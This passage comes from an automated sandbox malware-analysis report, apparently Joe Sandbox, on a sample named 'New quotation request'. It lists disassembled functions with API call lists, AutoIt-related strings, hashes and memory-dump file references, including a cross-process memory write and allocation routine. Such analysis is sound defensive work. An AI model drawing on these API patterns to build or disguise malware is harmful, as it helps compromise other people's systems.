                                                                    • API ID: CreateInitializeInstanceUninitialize_memmove
                                                                    • String ID: .lnk
                                                                    • API String ID: 2683427295-24824748
                                                                    • Opcode ID: 8eeacf9d7798fcfb95ef91e779258f66e615e918555b4bdceec2ed2e6c121e38
                                                                    • Instruction ID: 078884ebd72948fc9cec780134e6a9a9b646419d1ddfc2384a0c2a570850db05
                                                                    • Opcode Fuzzy Hash: 8eeacf9d7798fcfb95ef91e779258f66e615e918555b4bdceec2ed2e6c121e38
                                                                    • Instruction Fuzzy Hash: 39A14A71214205AFD700EF54C881EABB7ECFF89394F00491CF5559B1A2EB71EA59CB92
                                                                    Function 002C2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D0DB6: std::exception::exception.LIBCMT ref: 002D0DEC
                                                                      • Part of subcall function 002D0DB6: __CxxThrowException@8.LIBCMT ref: 002D0E01
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 002B7A51: _memmove.LIBCMT ref: 002B7AAB
                                                                    • __swprintf.LIBCMT ref: 002C2ECD
                                                                    Strings
                                                                    • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 002C2D66
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                                    • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                    • API String ID: 1943609520-557222456
                                                                    • Opcode ID: f4e65dafab3299fdf0c3570060e86a7f84ed69f648c95972050be30b3ef8c76c
                                                                    • Instruction ID: 4a09bb1d18b8a059f9dd797e917d00558d87ecae32a60a67b001ec66ec8589d3
                                                                    • Opcode Fuzzy Hash: f4e65dafab3299fdf0c3570060e86a7f84ed69f648c95972050be30b3ef8c76c
                                                                    • Instruction Fuzzy Hash: 8F917D31128616DFC714EF24C889DBEB7B4EF85754F00492DF585AB2A1DA30ED68CB52
                                                                    Function 0031B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002B4743,?,?,002B37AE,?), ref: 002B4770
                                                                    • CoInitialize.OLE32(00000000), ref: 0031B9BB
                                                                    • CoCreateInstance.OLE32(00342D6C,00000000,00000001,00342BDC,?), ref: 0031B9D4
                                                                    • CoUninitialize.OLE32 ref: 0031B9F1
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                                    • String ID: .lnk
                                                                    • API String ID: 2126378814-24824748
                                                                    • Opcode ID: 316d19eb3937571115a9d7fdccdcf6b85265db09d20b941c91064cab9450d8d9
                                                                    • Instruction ID: efdfd10414ec9693cc7e323deb5f655859b2235a882d4ac223415389a450a54f
                                                                    • Opcode Fuzzy Hash: 316d19eb3937571115a9d7fdccdcf6b85265db09d20b941c91064cab9450d8d9
                                                                    • Instruction Fuzzy Hash: AAA145756043019FCB05EF14C484D9ABBE5FF89314F058998F9999B3A1CB31EC85CB91
                                                                    Function 0030B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OleSetContainedObject.OLE32(?,00000001), ref: 0030B4BE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ContainedObject
                                                                    • String ID: AutoIt3GUI$Container$%4
                                                                    • API String ID: 3565006973-3553967331
                                                                    • Opcode ID: 8e50ee3b964e3a82beb0e047d79136b9917aba22ce1d2ec1e297207abd3e500a
                                                                    • Instruction ID: 82f98ce5ec2de323cabebb513e11f4661501bdd314065cac0741eef1fbf373e2
                                                                    • Opcode Fuzzy Hash: 8e50ee3b964e3a82beb0e047d79136b9917aba22ce1d2ec1e297207abd3e500a
                                                                    • Instruction Fuzzy Hash: EE916974601601AFDB15CF24C894B6ABBF9FF49700F2084AEF94ACB6A1DB70E841CB50
                                                                    Function 002D501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __startOneArgErrorHandling.LIBCMT ref: 002D50AD
                                                                      • Part of subcall function 002E00F0: __87except.LIBCMT ref: 002E012B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorHandling__87except__start
                                                                    • String ID: pow
                                                                    • API String ID: 2905807303-2276729525
                                                                    • Opcode ID: d1a3ec5979b7b739ef2b9f269375b41b95fc7088c8af3c0814bac842a6cd7f33
                                                                    • Instruction ID: 41eca4ee0224463967b61fa1a364e1538355d4cf96f90cc9d110163675a5795d
                                                                    • Opcode Fuzzy Hash: d1a3ec5979b7b739ef2b9f269375b41b95fc7088c8af3c0814bac842a6cd7f33
                                                                    • Instruction Fuzzy Hash: 2551BC2097C54382DB117F25C88137E2BD49B01301F648D5AE4C98E3A9DFF48DFA9E82
                                                                    Function 002F8584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID: 3c,$_,
                                                                    • API String ID: 4104443479-370742736
                                                                    • Opcode ID: 8ade6735bbe1b4d26e392e43cf7dadab36c1bacd4e8153530a0e4b310b27765b
                                                                    • Instruction ID: 8042310df4950048cd5ece1fd3f25787fb661522756d0a7e484f9d690e1ef74e
                                                                    • Opcode Fuzzy Hash: 8ade6735bbe1b4d26e392e43cf7dadab36c1bacd4e8153530a0e4b310b27765b
                                                                    • Instruction Fuzzy Hash: FF518DB091061A9FCF20CF68C890ABEFBB1FF44344F148529E95AD7250EB30E965CB51
                                                                    Function 003097F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 003114BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00309296,?,?,00000034,00000800,?,00000034), ref: 003114E6
                                                                    • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0030983F
                                                                      • Part of subcall function 00311487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,003092C5,?,?,00000800,?,00001073,00000000,?,?), ref: 003114B1
                                                                      • Part of subcall function 003113DE: GetWindowThreadProcessId.USER32(?,?), ref: 00311409
                                                                      • Part of subcall function 003113DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0030925A,00000034,?,?,00001004,00000000,00000000), ref: 00311419
                                                                      • Part of subcall function 003113DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0030925A,00000034,?,?,00001004,00000000,00000000), ref: 0031142F
                                                                    • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003098AC
                                                                    • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 003098F9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                    • String ID: @
                                                                    • API String ID: 4150878124-2766056989
                                                                    • Opcode ID: e8c112b1433acaf60052f7d53360c7b89f88f1d2251ad983c025af11eccfa9e7
                                                                    • Instruction ID: 5457c15195991ff3c2a548f8c406ac75f8025b5bad77c5078c847d2c7ba0df77
                                                                    • Opcode Fuzzy Hash: e8c112b1433acaf60052f7d53360c7b89f88f1d2251ad983c025af11eccfa9e7
                                                                    • Instruction Fuzzy Hash: A4415C76901218BFCB15DFA4CD96BDEBBB8EB09700F004199FA55B7181DA706E85CBA0
                                                                    Function 00337946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0033F910,00000000,?,?,?,?), ref: 003379DF
                                                                    • GetWindowLongW.USER32 ref: 003379FC
                                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00337A0C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Long
                                                                    • String ID: SysTreeView32
                                                                    • API String ID: 847901565-1698111956
                                                                    • Opcode ID: b0fe67f96e9220c9054a7842d850357a9d1692974e88490a80383013b94e3ad9
                                                                    • Instruction ID: 6f859daf09b34ef47c9864e74e98c72dfb780745be0bacf17e418f17c15f9bd0
                                                                    • Opcode Fuzzy Hash: b0fe67f96e9220c9054a7842d850357a9d1692974e88490a80383013b94e3ad9
                                                                    • Instruction Fuzzy Hash: FF31CF71604206AFDB268E38DC81BEA77A9EF05324F218725F875A32E0D731ED618B50
                                                                    Function 003373D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00337461
                                                                    • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00337475
                                                                    • SendMessageW.USER32(?,00001002,00000000,?), ref: 00337499
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window
                                                                    • String ID: SysMonthCal32
                                                                    • API String ID: 2326795674-1439706946
                                                                    • Opcode ID: 862623aad15f077f0c191525ebbf58cc81db12e059b5ed875c1a30e62603af1d
                                                                    • Instruction ID: 4401d3b4b4bc91dd2d5500ca284164aa87e260b64c5d8cf4ca75c5aa7f86e873
                                                                    • Opcode Fuzzy Hash: 862623aad15f077f0c191525ebbf58cc81db12e059b5ed875c1a30e62603af1d
                                                                    • Instruction Fuzzy Hash: E621D372500218AFDF268F55CC86FEA3B69EF48724F120214FE556B1D0DA75BC90CBA0
                                                                    Function 00337B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00337C4A
                                                                    • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00337C58
                                                                    • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00337C5F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$DestroyWindow
                                                                    • String ID: msctls_updown32
                                                                    • API String ID: 4014797782-2298589950
                                                                    • Opcode ID: a34ccd8b922462f29a3a8e353063d3c7873208893b0113e77c687f2f9aac0121
                                                                    • Instruction ID: 51c21ec7431ac8ec7d7c30a61b3e77caea1a3e16cd028edc9eb08759f43e1a86
                                                                    • Opcode Fuzzy Hash: a34ccd8b922462f29a3a8e353063d3c7873208893b0113e77c687f2f9aac0121
                                                                    • Instruction Fuzzy Hash: 60218EB5604209AFDB22DF24DCC1DA737ECEF4A3A4F550059FA059B3A1CB71EC518A60
                                                                    Function 00336CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00336D3B
                                                                    • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00336D4B
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00336D70
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$MoveWindow
                                                                    • String ID: Listbox
                                                                    • API String ID: 3315199576-2633736733
                                                                    • Opcode ID: ddfa07ff37c70b5c9e7a768f1d456b71f333be3c2e7c60780c5fa23d571d8562
                                                                    • Instruction ID: 541d7e8ec1441916d1cd97c265395be2acf3dd44d6c9dde571638af1755dc120
                                                                    • Opcode Fuzzy Hash: ddfa07ff37c70b5c9e7a768f1d456b71f333be3c2e7c60780c5fa23d571d8562
                                                                    • Instruction Fuzzy Hash: 95215032610118BFEF168F54DC86EAB3BAEEB89750F51C128FA459B1A0C6719C519BA0
                                                                    Function 003239E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __snwprintf.LIBCMT ref: 00323A66
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __snwprintf_memmove
                                                                    • String ID: , $$AUTOITCALLVARIABLE%d$%4
                                                                    • API String ID: 3506404897-4045604893
                                                                    • Opcode ID: c0c574cae269a6a2d97a76235a1fdad52760cbd60b8b3245ee91d9f6f58cd915
                                                                    • Instruction ID: 5fa922a508349572e8c3c4c809f820e0f22fa40adc4ea168a66f759ed2dd060e
                                                                    • Opcode Fuzzy Hash: c0c574cae269a6a2d97a76235a1fdad52760cbd60b8b3245ee91d9f6f58cd915
                                                                    • Instruction Fuzzy Hash: 19219330A10119AFCF12EF64DC82EEE77B9AF48340F404469F555AB185DB34EA55CF61
                                                                    Function 0033770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00337772
                                                                    • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00337787
                                                                    • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00337794
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: msctls_trackbar32
                                                                    • API String ID: 3850602802-1010561917
                                                                    • Opcode ID: 30efdd242f70211bd5f68a362f2ad1bf3f2dc8bd0882863b919b8545791292ac
                                                                    • Instruction ID: 655edf281cfa9eb8806618a8d71d7f206b31f449c1bd1a73f6986e6505221a7c
                                                                    • Opcode Fuzzy Hash: 30efdd242f70211bd5f68a362f2ad1bf3f2dc8bd0882863b919b8545791292ac
                                                                    • Instruction Fuzzy Hash: 20113A72200208BFEF355F60CC41FE7776CEF89B54F024118F64196090C272E811CB10
                                                                    Function 002D6B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __calloc_crt
                                                                    • String ID: 6$@B7
                                                                    • API String ID: 3494438863-1161358885
                                                                    • Opcode ID: 0f1858a5d69d5155ba0b0d624fbb9fb422f45fa8686f1262fa371a4ae77c6e8a
                                                                    • Instruction ID: 6009eabde4a23363e85c6ea13d0cc4b2ec9f9ce61d050199e2df95a09db85571
                                                                    • Opcode Fuzzy Hash: 0f1858a5d69d5155ba0b0d624fbb9fb422f45fa8686f1262fa371a4ae77c6e8a
                                                                    • Instruction Fuzzy Hash: 56F06879628A128BF7798F69BC55B566799E700734F500817E104EE391FBF08CD5CAC4
                                                                    Function 002D9B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __lock.LIBCMT ref: 002D9B94
                                                                      • Part of subcall function 002D9C0B: __mtinitlocknum.LIBCMT ref: 002D9C1D
                                                                      • Part of subcall function 002D9C0B: EnterCriticalSection.KERNEL32(00000000,?,002D9A7C,0000000D), ref: 002D9C36
                                                                    • __updatetlocinfoEx_nolock.LIBCMT ref: 002D9BA4
                                                                      • Part of subcall function 002D9100: ___addlocaleref.LIBCMT ref: 002D911C
                                                                      • Part of subcall function 002D9100: ___removelocaleref.LIBCMT ref: 002D9127
                                                                      • Part of subcall function 002D9100: ___freetlocinfo.LIBCMT ref: 002D913B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
                                                                    • String ID: 86$86
                                                                    • API String ID: 547918592-4260956243
                                                                    • Opcode ID: 2b3cf9a8a3736bf4c5156167610713d384d55932904609a840633c088a8358d1
                                                                    • Instruction ID: ed952468dcd14b71a3d07d0021f32599f29d61b7907f710928dd3bae0c47ac3e
                                                                    • Opcode Fuzzy Hash: 2b3cf9a8a3736bf4c5156167610713d384d55932904609a840633c088a8358d1
                                                                    • Instruction Fuzzy Hash: 72E08C3596B301AAEA12FBA46903B9C26549B00B35F30815BF089663C5CDF50C95CE1B
                                                                    Function 002B4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,002B4B83,?), ref: 002B4C44
                                                                    • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 002B4C56
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                    • API String ID: 2574300362-1355242751
